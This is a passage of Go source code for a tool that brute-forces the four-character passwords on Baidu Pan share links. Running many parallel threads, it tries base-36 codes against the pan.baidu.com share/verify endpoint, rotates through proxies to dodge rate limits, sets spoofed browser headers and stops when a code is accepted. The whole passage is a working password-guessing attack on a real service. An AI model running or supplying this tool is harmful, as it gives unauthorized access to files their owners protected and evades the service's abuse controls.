					resp, err := session.Get(ori)
					if err != nil {
						log.Println(err)
						time.Sleep(RETRY_TIME)
						continue
					}
					if resp.StatusCode == 200 {
						log.Fatal("Link seems password-less!")
					} else if resp.StatusCode == 302 {
						if resolver[0].re.MatchString(resp.Header.Get("Location")) {
							resolver[0].fun(resolver[0].re, resp.Header.Get("Location"))
						} else {
							log.Fatal("WTF??", ori, resp.Header.Get("Location"))
						}
						break
					}
				}
			},
		})
}

func builder(now string) (*http.Response, Proxy, error) {
	var pro Proxy
	for {
		var ok bool
		if pro, ok = getProxy(); ok {
			useable.Set(true)
			break
		}
		if useable.Get() {
			log.Println("No proxies left! Threads will hang up...")
		}
		time.Sleep(RETRY_TIME)
	}
	par, _ := url.Parse(fmt.Sprintf("%s://%s:%s", pro.typ, pro.addr, pro.port))
	session := &http.Client{
		Timeout:   TIMEOUT,
		Transport: &http.Transport{Proxy: http.ProxyURL(par)},
	}
	req, err := http.NewRequest("POST", fmt.Sprintf("https://pan.baidu.com/share/verify?shareid=%s&uk=%s", shareid, uk), strings.NewReader(fmt.Sprintf("pwd=%04s&vcode=&vcode_str=", now)))
	if err != nil {
		log.Fatal(err)
	}
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8")
	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36")
	req.Header.Set("Origin", "https://pan.baidu.com")
	req.Header.Set("Referer", refer)
	resp, err := session.Do(req)
	if err != nil && strings.Contains(err.Error(), "error connecting to proxy") { // ugly way
		increProxy(pro)
	}
	return resp, pro, err
}

func tester(work int64) {
	for work < MAX_VALUE {
		now := strconv.FormatInt(work, 36)
		info := new(Info)
		for {
			if resp, pro, err := builder(now); err == nil {
				if resp.StatusCode == 200 {
					if err = json.NewDecoder(resp.Body).Decode(info); err == nil {
						if info.Errno == 0 {
							log.Println("Key found!", now)
							os.Exit(0)
						} else if info.Errno != -9 {
							log.Println("Unknown error! Service returned", info.Errno, "with message:", info.ErrMsg)
						} else {
							break
						}
					}
				} else if resp.StatusCode == 404 {
					deleteProxy(pro)
				} else {
					log.Println("Unknown error! Server returned", resp.StatusCode)
				}
				resp.Body.Close()
			}
			time.Sleep(RETRY_TIME)
		}
		bar.Increment()
		work += *thread
	}
	wg.Done()
}

func init() {
	kingpin.CommandLine.HelpFlag.Short('h')
	kingpin.Parse()
	saveResolver() // For future expansion of resolver
	mapLocker = new(sync.Mutex)
	useable = new(AtomBool)
	useable.lock = new(sync.Mutex)
	useable.Set(true)
	proxies = make(map[Proxy]int)
	saveProxies() // For future expansion of proxy
	var indi int
	for indi = 0; indi < len(resolver); indi++ {
		if resolver[indi].re.MatchString(*link) {
			resolver[indi].fun(resolver[indi].re, *link)
			break
		}
	}
	if indi == len(resolver) {
		log.Fatal("No proper resolver found!")
	}
	for _, i := range updater {
		go i.update()
	}
	start = next(*preset, 0)
	bar = pb.New64(MAX_VALUE)
	bar.SetMaxWidth(70)
	bar.ShowCounters = false
	bar.ShowSpeed = true
	bar.ShowTimeLeft = true
	bar.ShowFinalTime = true
	bar.Set64(start)
	bar.Start()
	c := make(chan os.Signal, 1)
	signal.Notify(c, os.Interrupt)
	go func() {
		for _ = range c {
			log.Printf("Terminating program, current progress: %04s", strconv.FormatInt(bar.Get(), 36))
			os.Exit(1)
		}
	}()
}

func main() {
	//go func() {
	//	for {
	//		log.Println(len(proxies))
	//		for i, k := range proxies {
	//			log.Println(i, k)
	//			break
	//		}
	//		time.Sleep(RETRY_TIME)
	//	}
	//}() // DEBUG
	log.SetPrefix("\n")
	wg.Add(int(*thread))
	for i := int64(0); i < *thread; i++ {
		go tester(start + i)
	}
	wg.Wait()
	log.Fatal("No key found!")
}
<|endoftext|>